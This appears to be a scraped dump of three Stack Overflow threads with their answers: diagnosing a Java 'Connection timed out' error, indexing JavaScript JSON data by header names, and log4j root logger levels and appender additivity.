<p>I'm getting a <code>ConnectException: Connection timed out</code> with some frequency from my code. The URL I am trying to hit is up. The same code works for some users, but not others. It seems like once one user starts to get this exception they continue to get the exception.</p> <p>Here is the stack trace:</p> <pre><code>java.net.ConnectException: Connection timed out Caused by: java.net.ConnectException: Connection timed out at java.net.PlainSocketImpl.socketConnect(Native Method) at java.net.PlainSocketImpl.doConnect(PlainSocketImpl.java:333) at java.net.PlainSocketImpl.connectToAddress(PlainSocketImpl.java:195) at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:182) at java.net.Socket.connect(Socket.java:516) at java.net.Socket.connect(Socket.java:466) at sun.net.NetworkClient.doConnect(NetworkClient.java:157) at sun.net.www.http.HttpClient.openServer(HttpClient.java:365) at sun.net.www.http.HttpClient.openServer(HttpClient.java:477) at sun.net.www.http.HttpClient.&lt;init&gt;(HttpClient.java:214) at sun.net.www.http.HttpClient.New(HttpClient.java:287) at sun.net.www.http.HttpClient.New(HttpClient.java:299) at sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:796) at sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:748) at sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:673) at sun.net.www.protocol.http.HttpURLConnection.getOutputStream(HttpURLConnection.java:840) </code></pre> <p>Here is a snippet from my code:</p> <pre><code>URLConnection urlConnection = null; OutputStream outputStream = null; OutputStreamWriter outputStreamWriter = null; InputStream inputStream = null; try { URL url = new URL(urlBase); urlConnection = url.openConnection(); urlConnection.setDoOutput(true); outputStream = urlConnection.getOutputStream(); // exception occurs on this line outputStreamWriter = new OutputStreamWriter(outputStream); outputStreamWriter.write(urlString); outputStreamWriter.flush(); inputStream = urlConnection.getInputStream(); String response = IOUtils.toString(inputStream); return processResponse(urlString, urlBase, response); } catch (IOException e) { throw new Exception("Error querying url: " + urlString, e); } finally { IoUtil.close(inputStream); IoUtil.close(outputStreamWriter); IoUtil.close(outputStream); } </code></pre>
[ { "answer_id": 86876, "author": "larsivi", "author_id": 14047, "author_profile": "https://Stackoverflow.com/users/14047", "pm_score": 0, "selected": false, "text": "<p>There is a possibility that your IP/host are blocked by the remote host, especially if it thinks you are hitting it too hard.</p>\n" }, { "answer_id": 86908, "author": "Jumpy", "author_id": 9416, "author_profile": "https://Stackoverflow.com/users/9416", "pm_score": 7, "selected": false, "text": "<p>Connection timeouts (assuming a local network and several client machines) typically result from</p>\n\n<p>a) some kind of firewall on the way that simply eats the packets without telling the sender things like \"No Route to host\"</p>\n\n<p>b) packet loss due to wrong network configuration or line overload</p>\n\n<p>c) too many requests overloading the server</p>\n\n<p>d) a small number of simultaneously available threads/processes on the server which leads to all of them being taken. This happens especially with requests that take a long time to run and may combine with c).</p>\n\n<p>Hope this helps.</p>\n" }, { "answer_id": 87118, "author": "Alexander", "author_id": 16724, "author_profile": "https://Stackoverflow.com/users/16724", "pm_score": 5, "selected": false, "text": "<p>If the URL works fine in the web browser on the same machine, it might be that the Java code isn't using the HTTP proxy the browser is using for connecting to the URL.</p>\n" }, { "answer_id": 87352, "author": "Powerlord", "author_id": 15880, "author_profile": "https://Stackoverflow.com/users/15880", "pm_score": 3, "selected": false, "text": "<p>I'd recommend raising the connection timeout time before getting the output stream, like so:</p>\n\n<pre><code>urlConnection.setConnectTimeout(1000);\n</code></pre>\n\n<p>Where 1000 is in milliseconds (1000 milliseconds = 1 second).</p>\n" }, { "answer_id": 327614, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<ul>\n<li>try to do the Telnet to see any firewall issue</li>\n<li>perform <code>tracert</code>/<code>traceroute</code> to find number of hops</li>\n</ul>\n" }, { "answer_id": 23098703, "author": "eckes", "author_id": 13189, "author_profile": "https://Stackoverflow.com/users/13189", "pm_score": 1, "selected": false, "text": "<p>This can be a IPv6 problem (the host publishes an IPv6 AAAA-Address and the users host thinks it is configured for IPv6 but it is actually not correctly connected). This can also be a network MTU problem, a firewall block, or the target host might publish different IP addresses (randomly or based on originators country) which are not all reachable. Or similliar network problems.</p>\n\n<p>You cant do much besides setting a timeout and adding good error messages (especially printing out the hosts' resolved address). If you want to make it more robust add retry, parallel trying of all addresses and also look into name resolution caching (positive and negative) on the Java platform.</p>\n" }, { "answer_id": 36726470, "author": "3xCh1_23", "author_id": 983803, "author_profile": "https://Stackoverflow.com/users/983803", "pm_score": 0, "selected": false, "text": "<p>The reason why this happened to me was that a remote server was allowing only certain IP addressed but not its own, and I was trying to render the images from the server's URLs... so everything would simply halt, displaying the timeout error that you had... </p>\n\n<p>Make sure that either the server is allowing its own IP, or that you are rendering things from some remote URL that actually exists.</p>\n" }, { "answer_id": 43994366, "author": "M Hamza Javed", "author_id": 7135893, "author_profile": "https://Stackoverflow.com/users/7135893", "pm_score": 3, "selected": false, "text": "<p>The error message says it all: your connection timed out. This means your request did not get a response within some (default) timeframe. The reasons that no response was received is likely to be one of:</p>\n\n<p>a) The IP/domain or port is incorrect</p>\n\n<p>b) The IP/domain or port (i.e service) is down</p>\n\n<p>c) The IP/domain is taking longer than your default timeout to respond</p>\n\n<p>d) You have a firewall that is blocking requests or responses on whatever port you are using</p>\n\n<p>e) You have a firewall that is blocking requests to that particular host</p>\n\n<p>f) Your internet access is down</p>\n\n<p>g) Your live-server is down i.e in case of \"rest-API call\".</p>\n\n<p>Note that firewalls and port or IP blocking may be in place by your ISP</p>\n" }, { "answer_id": 47595100, "author": "NikNik", "author_id": 7604006, "author_profile": "https://Stackoverflow.com/users/7604006", "pm_score": 2, "selected": false, "text": "<p>I solved my problem with:</p>\n\n<pre><code>System.setProperty(\"https.proxyHost\", \"myProxy\");\nSystem.setProperty(\"https.proxyPort\", \"80\");\n</code></pre>\n\n<p>or <code>http.proxyHost</code>...</p>\n" }, { "answer_id": 61482047, "author": "Lonzak", "author_id": 2311528, "author_profile": "https://Stackoverflow.com/users/2311528", "pm_score": 2, "selected": false, "text": "<blockquote>\n <p>Why would a “java.net.ConnectException: Connection timed out”\n exception occur when URL is up?</p>\n</blockquote>\n\n<p>Because the URLConnection (HttpURLConnection/HttpsURLConnection) is erratic. You can read about this <a href=\"https://stackoverflow.com/questions/3877572\">here</a> and <a href=\"https://stackoverflow.com/questions/34704045\">here</a>.\nOur solution were two things:</p>\n\n<p>a) set the ContentLength via <code>setFixedLengthStreamingMode</code></p>\n\n<p>b) catch any TimeoutException and retry if it failed.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86824", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16677/" ]
I'm getting a `ConnectException: Connection timed out` with some frequency from my code. The URL I am trying to hit is up. The same code works for some users, but not others. It seems like once one user starts to get this exception they continue to get the exception. Here is the stack trace: ``` java.net.ConnectException: Connection timed out Caused by: java.net.ConnectException: Connection timed out at java.net.PlainSocketImpl.socketConnect(Native Method) at java.net.PlainSocketImpl.doConnect(PlainSocketImpl.java:333) at java.net.PlainSocketImpl.connectToAddress(PlainSocketImpl.java:195) at java.net.PlainSocketImpl.connect(PlainSocketImpl.java:182) at java.net.Socket.connect(Socket.java:516) at java.net.Socket.connect(Socket.java:466) at sun.net.NetworkClient.doConnect(NetworkClient.java:157) at sun.net.www.http.HttpClient.openServer(HttpClient.java:365) at sun.net.www.http.HttpClient.openServer(HttpClient.java:477) at sun.net.www.http.HttpClient.<init>(HttpClient.java:214) at sun.net.www.http.HttpClient.New(HttpClient.java:287) at sun.net.www.http.HttpClient.New(HttpClient.java:299) at sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:796) at sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:748) at sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:673) at sun.net.www.protocol.http.HttpURLConnection.getOutputStream(HttpURLConnection.java:840) ``` Here is a snippet from my code: ``` URLConnection urlConnection = null; OutputStream outputStream = null; OutputStreamWriter outputStreamWriter = null; InputStream inputStream = null; try { URL url = new URL(urlBase); urlConnection = url.openConnection(); urlConnection.setDoOutput(true); outputStream = urlConnection.getOutputStream(); // exception occurs on this line outputStreamWriter = new OutputStreamWriter(outputStream); outputStreamWriter.write(urlString); outputStreamWriter.flush(); inputStream = urlConnection.getInputStream(); String response = IOUtils.toString(inputStream); return processResponse(urlString, urlBase, response); } catch (IOException e) { throw new Exception("Error querying url: " + urlString, e); } finally { IoUtil.close(inputStream); IoUtil.close(outputStreamWriter); IoUtil.close(outputStream); } ```
Connection timeouts (assuming a local network and several client machines) typically result from a) some kind of firewall on the way that simply eats the packets without telling the sender things like "No Route to host" b) packet loss due to wrong network configuration or line overload c) too many requests overloading the server d) a small number of simultaneously available threads/processes on the server which leads to all of them being taken. This happens especially with requests that take a long time to run and may combine with c). Hope this helps.
86,849
<p>If I have the following:</p> <pre><code>{"hdrs": ["Make","Model","Year"], "data" : [ {"Make":"Honda","Model":"Accord","Year":"2008"} {"Make":"Toyota","Model":"Corolla","Year":"2008"} {"Make":"Honda","Model":"Pilot","Year":"2008"}] } </code></pre> <p>And I have a "hdrs" name (i.e. "Make"), how can I reference the <code>data</code> array instances? seems like <code>data["Make"][0]</code> should work...but unable to get the right reference</p> <p><strong>EDIT</strong> </p> <p>Sorry for the ambiguity.. I can loop through <code>hdrs</code> to get each hdr name, but I need to use each instance value of <code>hdrs</code> to find all the data elements in <code>data</code> (not sure that is any better of an explanation). and I will have it in a variable <code>t</code> since it is JSON (appreciate the re-tagging) I would like to be able to reference with something like this: <code>t.data[hdrs[i]][j]</code></p>
[ { "answer_id": 86892, "author": "Adam Weber", "author_id": 9324, "author_profile": "https://Stackoverflow.com/users/9324", "pm_score": 0, "selected": false, "text": "<p>perhaps try data[0].Make</p>\n" }, { "answer_id": 86903, "author": "Stephen Wrighton", "author_id": 7516, "author_profile": "https://Stackoverflow.com/users/7516", "pm_score": 0, "selected": false, "text": "<p>Close, you'd use </p>\n\n<pre><code>var x = data[0].Make;\nvar z = data[0].Model;\nvar y = data[0].Year;\n</code></pre>\n" }, { "answer_id": 86909, "author": "Domenic", "author_id": 3191, "author_profile": "https://Stackoverflow.com/users/3191", "pm_score": 1, "selected": false, "text": "<p>So, like this?</p>\n\n<pre><code>var theMap = /* the stuff you posted */;\nvar someHdr = \"Make\";\nvar whichIndex = 0;\nvar correspondingData = theMap[\"data\"][whichIndex][someHdr];\n</code></pre>\n\n<p>That should work, if I'm understanding you correctly...</p>\n" }, { "answer_id": 86922, "author": "Jared", "author_id": 1980, "author_profile": "https://Stackoverflow.com/users/1980", "pm_score": 3, "selected": true, "text": "<p>I had to alter your code a little:</p>\n\n<pre><code>var x = {\"hdrs\": [\"Make\",\"Model\",\"Year\"],\n \"data\" : [ \n {\"Make\":\"Honda\",\"Model\":\"Accord\",\"Year\":\"2008\"},\n {\"Make\":\"Toyota\",\"Model\":\"Corolla\",\"Year\":\"2008\"},\n {\"Make\":\"Honda\",\"Model\":\"Pilot\",\"Year\":\"2008\"}]\n };\n\n alert( x.data[0].Make );\n</code></pre>\n\n<p>EDIT: in response to your edit</p>\n\n<pre><code>var x = {\"hdrs\": [\"Make\",\"Model\",\"Year\"],\n \"data\" : [ \n {\"Make\":\"Honda\",\"Model\":\"Accord\",\"Year\":\"2008\"},\n {\"Make\":\"Toyota\",\"Model\":\"Corolla\",\"Year\":\"2008\"},\n {\"Make\":\"Honda\",\"Model\":\"Pilot\",\"Year\":\"2008\"}]\n };\nvar Header = 0; // Make\nfor( var i = 0; i &lt;= x.data.length - 1; i++ )\n{\n alert( x.data[i][x.hdrs[Header]] );\n} \n</code></pre>\n" }, { "answer_id": 86925, "author": "Kent Fredric", "author_id": 15614, "author_profile": "https://Stackoverflow.com/users/15614", "pm_score": 1, "selected": false, "text": "<pre><code>var x = {\"hdrs\": [\"Make\",\"Model\",\"Year\"],\n \"data\" : [ \n {\"Make\":\"Honda\",\"Model\":\"Accord\",\"Year\":\"2008\"}\n {\"Make\":\"Toyota\",\"Model\":\"Corolla\",\"Year\":\"2008\"}\n {\"Make\":\"Honda\",\"Model\":\"Pilot\",\"Year\":\"2008\"}]\n};\n\nx.data[0].Make == \"Honda\"\nx['data'][0]['Make'] == \"Honda\"\n</code></pre>\n\n<p>You have your array/hash lookup backwards :) </p>\n" }, { "answer_id": 86929, "author": "DGM", "author_id": 14253, "author_profile": "https://Stackoverflow.com/users/14253", "pm_score": 0, "selected": false, "text": "<p>Your code as displayed is not syntactically correct; it needs some commas. I got this to work:</p>\n\n<pre><code>$foo = {\"hdrs\": [\"Make\",\"Model\",\"Year\"],\n \"data\" : [ \n {\"Make\":\"Honda\",\"Model\":\"Accord\",\"Year\":\"2008\"},\n {\"Make\":\"Toyota\",\"Model\":\"Corolla\",\"Year\":\"2008\"},\n {\"Make\":\"Honda\",\"Model\":\"Pilot\",\"Year\":\"2008\"}]\n};\n</code></pre>\n\n<p>and then I can access data as: </p>\n\n<pre><code>$foo[\"data\"][0][\"make\"]\n</code></pre>\n" }, { "answer_id": 86931, "author": "just mike", "author_id": 12293, "author_profile": "https://Stackoverflow.com/users/12293", "pm_score": 2, "selected": false, "text": "<p>First, you forgot your trailing commas in your <strong>data</strong> array items.</p>\n\n<p>Try the following:</p>\n\n<pre><code>var obj_hash = {\n \"hdrs\": [\"Make\", \"Model\", \"Year\"],\n \"data\": [\n {\"Make\": \"Honda\", \"Model\": \"Accord\", \"Year\": \"2008\"},\n {\"Make\": \"Toyota\", \"Model\": \"Corolla\", \"Year\": \"2008\"},\n {\"Make\": \"Honda\", \"Model\": \"Pilot\", \"Year\": \"2008\"},\n ]\n};\n\nvar ref_data = obj_hash.data;\n\nalert(ref_data[0].Make);</code></pre>\n\n<p>@Kent Fredric: note that the last comma is not strictly needed, but allows you to more easily move lines around (i.e., if you move or add after the last line, and it didn't have a comma, you'd have to specifically remember to add one). I think it's best to always have trailing commas.</p>\n" }, { "answer_id": 86932, "author": "noah", "author_id": 12034, "author_profile": "https://Stackoverflow.com/users/12034", "pm_score": 1, "selected": false, "text": "<p>I'm not sure I understand your question, but...</p>\n\n<p>Assuming the above JSON is the var obj, you want:</p>\n\n<pre><code>obj.data[0][\"Make\"] // == \"Honda\"\n</code></pre>\n\n<p>If you just want to refer to the field referenced by the first header, it would be something like:</p>\n\n<pre><code>obj.data[0][obj.hdrs[0]] // == \"Honda\"\n</code></pre>\n" }, { "answer_id": 87374, "author": "Jay Corbett", "author_id": 2755, "author_profile": "https://Stackoverflow.com/users/2755", "pm_score": 0, "selected": false, "text": "<p>With the help of the answers (and after getting the inside and outside loops correct) I got this to work:</p>\n\n<pre><code>var t = eval( \"(\" + request + \")\" ) ;\nfor (var i = 0; i &lt; t.data.length; i++) {\n myTable += \"&lt;tr&gt;\";\n for (var j = 0; j &lt; t.hdrs.length; j++) {\n myTable += \"&lt;td&gt;\" ;\n if (t.data[i][t.hdrs[j]] == \"\") {myTable += \"&amp;nbsp;\" ; }\n else { myTable += t.data[i][t.hdrs[j]] ; }\n myTable += \"&lt;/td&gt;\";\n }\n myTable += \"&lt;/tr&gt;\";\n}\n</code></pre>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86849", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2755/" ]
If I have the following: ``` {"hdrs": ["Make","Model","Year"], "data" : [ {"Make":"Honda","Model":"Accord","Year":"2008"} {"Make":"Toyota","Model":"Corolla","Year":"2008"} {"Make":"Honda","Model":"Pilot","Year":"2008"}] } ``` And I have a "hdrs" name (i.e. "Make"), how can I reference the `data` array instances? seems like `data["Make"][0]` should work...but unable to get the right reference **EDIT** Sorry for the ambiguity.. I can loop through `hdrs` to get each hdr name, but I need to use each instance value of `hdrs` to find all the data elements in `data` (not sure that is any better of an explanation). and I will have it in a variable `t` since it is JSON (appreciate the re-tagging) I would like to be able to reference with something like this: `t.data[hdrs[i]][j]`
I had to alter your code a little: ``` var x = {"hdrs": ["Make","Model","Year"], "data" : [ {"Make":"Honda","Model":"Accord","Year":"2008"}, {"Make":"Toyota","Model":"Corolla","Year":"2008"}, {"Make":"Honda","Model":"Pilot","Year":"2008"}] }; alert( x.data[0].Make ); ``` EDIT: in response to your edit ``` var x = {"hdrs": ["Make","Model","Year"], "data" : [ {"Make":"Honda","Model":"Accord","Year":"2008"}, {"Make":"Toyota","Model":"Corolla","Year":"2008"}, {"Make":"Honda","Model":"Pilot","Year":"2008"}] }; var Header = 0; // Make for( var i = 0; i <= x.data.length - 1; i++ ) { alert( x.data[i][x.hdrs[Header]] ); } ```
86,878
<p>I am having problem that even though I specify the level to ERROR in the root tag, the specified appender logs all levels (debug, info, warn) to the file regardless the settings. I am not a Log4j expert so any help is appreciated.</p> <p>I have checked the classpath for log4j.properties (there is none) except the log4j.xml.</p> <p>Here is the log4j.xml file:</p> <pre class="lang-xml prettyprint-override"><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot; ?&gt; &lt;!DOCTYPE log4j:configuration SYSTEM &quot;log4j.dtd&quot;&gt; &lt;log4j:configuration xmlns:log4j='http://jakarta.apache.org/log4j/'&gt; &lt;!-- ============================== --&gt; &lt;!-- Append messages to the console --&gt; &lt;!-- ============================== --&gt; &lt;appender name=&quot;console&quot; class=&quot;org.apache.log4j.ConsoleAppender&quot;&gt; &lt;param name=&quot;Target&quot; value=&quot;System.out&quot; /&gt; &lt;layout class=&quot;org.apache.log4j.PatternLayout&quot;&gt; &lt;!-- The default pattern: Date Priority [Category] Message\n --&gt; &lt;param name=&quot;ConversionPattern&quot; value=&quot;[AC - %5p] [%d{ISO8601}] [%t] [%c{1} - %L] %m%n&quot; /&gt; &lt;/layout&gt; &lt;/appender&gt; &lt;appender name=&quot;logfile&quot; class=&quot;org.apache.log4j.RollingFileAppender&quot;&gt; &lt;param name=&quot;File&quot; value=&quot;./logs/server.log&quot; /&gt; &lt;param name=&quot;MaxFileSize&quot; value=&quot;1000KB&quot; /&gt; &lt;param name=&quot;MaxBackupIndex&quot; value=&quot;2&quot; /&gt; &lt;layout class=&quot;org.apache.log4j.PatternLayout&quot;&gt; &lt;param name=&quot;ConversionPattern&quot; value=&quot;[AC - %-5p] {%d{dd.MM.yyyy - HH.mm.ss}} %m%n&quot; /&gt; &lt;/layout&gt; &lt;/appender&gt; &lt;appender name=&quot;payloadAppender&quot; class=&quot;org.apache.log4j.RollingFileAppender&quot;&gt; &lt;param name=&quot;File&quot; value=&quot;./logs/payload.log&quot; /&gt; &lt;param name=&quot;MaxFileSize&quot; value=&quot;1000KB&quot; /&gt; &lt;param name=&quot;MaxBackupIndex&quot; value=&quot;10&quot; /&gt; &lt;layout class=&quot;org.apache.log4j.PatternLayout&quot;&gt; &lt;param name=&quot;ConversionPattern&quot; value=&quot;[AC - %-5p] {%d{dd.MM.yyyy - HH.mm.ss}} %m%n&quot; /&gt; &lt;/layout&gt; &lt;/appender&gt; &lt;appender name=&quot;errorLog&quot; class=&quot;org.apache.log4j.RollingFileAppender&quot;&gt; &lt;param name=&quot;File&quot; value=&quot;./logs/error.log&quot; /&gt; &lt;param name=&quot;MaxFileSize&quot; value=&quot;1000KB&quot; /&gt; &lt;param name=&quot;MaxBackupIndex&quot; value=&quot;10&quot; /&gt; &lt;layout class=&quot;org.apache.log4j.PatternLayout&quot;&gt; &lt;param name=&quot;ConversionPattern&quot; value=&quot;[AC - %-5p] {%d{dd.MM.yyyy - HH.mm.ss}} %m%n&quot; /&gt; &lt;/layout&gt; &lt;/appender&gt; &lt;appender name=&quot;traceLog&quot; class=&quot;org.apache.log4j.RollingFileAppender&quot;&gt; &lt;param name=&quot;File&quot; value=&quot;./logs/trace.log&quot; /&gt; &lt;param name=&quot;MaxFileSize&quot; value=&quot;1000KB&quot; /&gt; &lt;param name=&quot;MaxBackupIndex&quot; value=&quot;20&quot; /&gt; &lt;layout class=&quot;org.apache.log4j.PatternLayout&quot;&gt; &lt;param name=&quot;ConversionPattern&quot; value=&quot;[AccessControl - %-5p] {%t: %d{dd.MM.yyyy - HH.mm.ss,SSS}} %m%n&quot; /&gt; &lt;/layout&gt; &lt;/appender&gt; &lt;appender name=&quot;traceSocketAppender&quot; class=&quot;org.apache.log4j.net.SocketAppender&quot;&gt; &lt;param name=&quot;remoteHost&quot; value=&quot;localhost&quot; /&gt; &lt;param name=&quot;port&quot; value=&quot;4445&quot; /&gt; &lt;param name=&quot;locationInfo&quot; value=&quot;true&quot; /&gt; &lt;/appender&gt; &lt;logger name=&quot;TraceLogger&quot;&gt; &lt;level value=&quot;trace&quot; /&gt; &lt;!-- Set level to trace to activate tracing --&gt; &lt;appender-ref ref=&quot;traceLog&quot; /&gt; &lt;/logger&gt; &lt;logger name=&quot;org.springframework.ws.server.endpoint.interceptor&quot;&gt; &lt;level value=&quot;DEBUG&quot; /&gt; &lt;appender-ref ref=&quot;payloadAppender&quot; /&gt; &lt;/logger&gt; &lt;root&gt; &lt;level value=&quot;error&quot; /&gt; &lt;appender-ref ref=&quot;errorLog&quot; /&gt; &lt;/root&gt; &lt;/log4j:configuration&gt; </code></pre> <p>If I replace the root with another logger, then nothing gets logged at all to the specified appender.</p> <pre class="lang-xml prettyprint-override"><code>&lt;logger name=&quot;com.mydomain.logic&quot;&gt; &lt;level value=&quot;error&quot; /&gt; &lt;appender-ref ref=&quot;errorLog&quot; /&gt; &lt;/logger&gt; </code></pre>
[ { "answer_id": 86928, "author": "Asgeir S. Nilsen", "author_id": 16023, "author_profile": "https://Stackoverflow.com/users/16023", "pm_score": 3, "selected": false, "text": "<p>Two things: Check additivity and decide whether you want log events captured by more detailed levels of logging to propagate to the root logger.</p>\n\n<p>Secondly, check the level for the root logger. In addition you can also add filtering on the appender itself, but this should normally not be necessary.</p>\n" }, { "answer_id": 87123, "author": "James A. N. Stauffer", "author_id": 6770, "author_profile": "https://Stackoverflow.com/users/6770", "pm_score": 3, "selected": false, "text": "<p>Run your program with -Dlog4j.debug so that standard out gets info about how log4j is configured -- I suspected that it isn't configured the way that you think it is.</p>\n" }, { "answer_id": 87151, "author": "matt b", "author_id": 4249, "author_profile": "https://Stackoverflow.com/users/4249", "pm_score": 3, "selected": false, "text": "<p>To add on to what James A. N. Stauffer and cynicalman said - I would bet that there is another log4j.xml / log4j.properties on your classpath other than the one you wish to be used that is causing log4j to configure itself the way it is.</p>\n\n<p><code>-Dlog4j.debug</code> is an absolute killer way to troubleshoot any log4j issues.</p>\n" }, { "answer_id": 87644, "author": "Michael", "author_id": 13379, "author_profile": "https://Stackoverflow.com/users/13379", "pm_score": 2, "selected": false, "text": "<p>If you are using a <code>log4j.properties</code> file, this file is typically expected to be in the root of your classpath, so make sure it's there.</p>\n" }, { "answer_id": 2758952, "author": "JCaptain", "author_id": 331498, "author_profile": "https://Stackoverflow.com/users/331498", "pm_score": 0, "selected": false, "text": "<p>This is correct behavior. The root logger is like the default behavior. So if you don't specify any logger it will take root logger level as the default level but this does not mean that root logger level is the level for all your logs.</p>\n\n<p>Any of your code which logs using 'TraceLogger'logger or 'org.springframework.ws.server.endpoint.interceptor' logger will log messages using TRACE and DEBUG level respectively any other code will use root logger to log message using level, which is in your case ERROR.</p>\n\n<p>So if you use logger other than root, root log level will be overridden by that logger's log level. To get the desired output change the other two log level to ERROR.</p>\n\n<p>I hope this is helpful. </p>\n" }, { "answer_id": 3475120, "author": "monzonj", "author_id": 119693, "author_profile": "https://Stackoverflow.com/users/119693", "pm_score": 6, "selected": false, "text": "<p>The root logger resides at the top of the logger hierarchy. It is exceptional in three ways:</p>\n\n<ul>\n<li>it always exists,</li>\n<li>its level cannot be set to null</li>\n<li>it cannot be retrieved by name.</li>\n</ul>\n\n<p><strong>The rootLogger is the father of all appenders. Each enabled logging request for a given logger will be forwarded to all the appenders in that logger as well as the appenders higher in the hierarchy (including rootLogger)</strong></p>\n\n<p>For example, if the <code>console</code> appender is added to the <code>root logger</code>, then all enabled logging requests will <strong>at least</strong> print on the console. If in addition a file appender is added to a logger, say <code>L</code>, then enabled logging requests for <code>L</code> and <code>L's</code> children will print on a file <strong>and</strong> on the <code>console</code>. It is possible to override this default behavior so that appender accumulation is no longer additive <strong>by setting the additivity flag to false</strong>.</p>\n\n<p><em>From the log4j manual</em></p>\n\n<p>To sum up:</p>\n\n<p>If you want not to propagate a logging event to the parents loggers (say rootLogger) then add the additivity flag to false in those loggers. In your case:</p>\n\n<pre class=\"lang-xml prettyprint-override\"><code>&lt;logger name=\"org.springframework.ws.server.endpoint.interceptor\"\n additivity=\"false\"&gt;\n &lt;level value=\"DEBUG\" /&gt;\n &lt;appender-ref ref=\"payloadAppender\" /&gt;\n&lt;/logger&gt;\n</code></pre>\n\n<p>In standard log4j config style (which I prefer to XML):</p>\n\n<pre><code>log4j.logger.org.springframework.ws.server.endpoint.interceptor = INFO, payloadAppender\nlog4j.additivity.org.springframework.ws.server.endpoint.interceptor = false\n</code></pre>\n\n<p>Hope this helps.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86878", "https://Stackoverflow.com", "https://Stackoverflow.com/users/15045/" ]
I am having problem that even though I specify the level to ERROR in the root tag, the specified appender logs all levels (debug, info, warn) to the file regardless the settings. I am not a Log4j expert so any help is appreciated. I have checked the classpath for log4j.properties (there is none) except the log4j.xml. Here is the log4j.xml file: ```xml <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE log4j:configuration SYSTEM "log4j.dtd"> <log4j:configuration xmlns:log4j='http://jakarta.apache.org/log4j/'> <!-- ============================== --> <!-- Append messages to the console --> <!-- ============================== --> <appender name="console" class="org.apache.log4j.ConsoleAppender"> <param name="Target" value="System.out" /> <layout class="org.apache.log4j.PatternLayout"> <!-- The default pattern: Date Priority [Category] Message\n --> <param name="ConversionPattern" value="[AC - %5p] [%d{ISO8601}] [%t] [%c{1} - %L] %m%n" /> </layout> </appender> <appender name="logfile" class="org.apache.log4j.RollingFileAppender"> <param name="File" value="./logs/server.log" /> <param name="MaxFileSize" value="1000KB" /> <param name="MaxBackupIndex" value="2" /> <layout class="org.apache.log4j.PatternLayout"> <param name="ConversionPattern" value="[AC - %-5p] {%d{dd.MM.yyyy - HH.mm.ss}} %m%n" /> </layout> </appender> <appender name="payloadAppender" class="org.apache.log4j.RollingFileAppender"> <param name="File" value="./logs/payload.log" /> <param name="MaxFileSize" value="1000KB" /> <param name="MaxBackupIndex" value="10" /> <layout class="org.apache.log4j.PatternLayout"> <param name="ConversionPattern" value="[AC - %-5p] {%d{dd.MM.yyyy - HH.mm.ss}} %m%n" /> </layout> </appender> <appender name="errorLog" class="org.apache.log4j.RollingFileAppender"> <param name="File" value="./logs/error.log" /> <param name="MaxFileSize" value="1000KB" /> <param name="MaxBackupIndex" value="10" /> <layout class="org.apache.log4j.PatternLayout"> <param name="ConversionPattern" value="[AC - %-5p] {%d{dd.MM.yyyy - HH.mm.ss}} %m%n" /> </layout> </appender> <appender name="traceLog" class="org.apache.log4j.RollingFileAppender"> <param name="File" value="./logs/trace.log" /> <param name="MaxFileSize" value="1000KB" /> <param name="MaxBackupIndex" value="20" /> <layout class="org.apache.log4j.PatternLayout"> <param name="ConversionPattern" value="[AccessControl - %-5p] {%t: %d{dd.MM.yyyy - HH.mm.ss,SSS}} %m%n" /> </layout> </appender> <appender name="traceSocketAppender" class="org.apache.log4j.net.SocketAppender"> <param name="remoteHost" value="localhost" /> <param name="port" value="4445" /> <param name="locationInfo" value="true" /> </appender> <logger name="TraceLogger"> <level value="trace" /> <!-- Set level to trace to activate tracing --> <appender-ref ref="traceLog" /> </logger> <logger name="org.springframework.ws.server.endpoint.interceptor"> <level value="DEBUG" /> <appender-ref ref="payloadAppender" /> </logger> <root> <level value="error" /> <appender-ref ref="errorLog" /> </root> </log4j:configuration> ``` If I replace the root with another logger, then nothing gets logged at all to the specified appender. ```xml <logger name="com.mydomain.logic"> <level value="error" /> <appender-ref ref="errorLog" /> </logger> ```
The root logger resides at the top of the logger hierarchy. It is exceptional in three ways: * it always exists, * its level cannot be set to null * it cannot be retrieved by name. **The rootLogger is the father of all appenders. Each enabled logging request for a given logger will be forwarded to all the appenders in that logger as well as the appenders higher in the hierarchy (including rootLogger)** For example, if the `console` appender is added to the `root logger`, then all enabled logging requests will **at least** print on the console. If in addition a file appender is added to a logger, say `L`, then enabled logging requests for `L` and `L's` children will print on a file **and** on the `console`. It is possible to override this default behavior so that appender accumulation is no longer additive **by setting the additivity flag to false**. *From the log4j manual* To sum up: If you want not to propagate a logging event to the parents loggers (say rootLogger) then add the additivity flag to false in those loggers. In your case: ```xml <logger name="org.springframework.ws.server.endpoint.interceptor" additivity="false"> <level value="DEBUG" /> <appender-ref ref="payloadAppender" /> </logger> ``` In standard log4j config style (which I prefer to XML): ``` log4j.logger.org.springframework.ws.server.endpoint.interceptor = INFO, payloadAppender log4j.additivity.org.springframework.ws.server.endpoint.interceptor = false ``` Hope this helps.
86,901
